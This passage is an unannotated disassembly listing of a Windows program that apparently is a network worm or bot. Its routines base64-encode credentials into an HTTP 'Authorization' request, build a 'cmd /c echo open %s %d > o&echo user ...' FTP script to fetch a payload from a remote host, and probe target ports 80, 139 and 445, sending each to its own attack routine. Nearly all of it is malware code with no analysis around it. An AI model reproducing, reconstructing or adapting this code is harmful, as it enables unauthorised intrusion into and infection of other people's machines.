		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43244C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D7F8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB694
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4325F8
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB380
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432490
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB644
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB684
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6DC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		nop
		call	near ptr 2690F63h


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431AF8[eax]
		lea	eax, dword_431AF8[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC64, 1
		jnz	short loc_40D889
		or	byte_4DBC64, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328B0
		add	eax, 6
		mov	dword_4CE364, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  77h	; w
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0A8h	; ¨
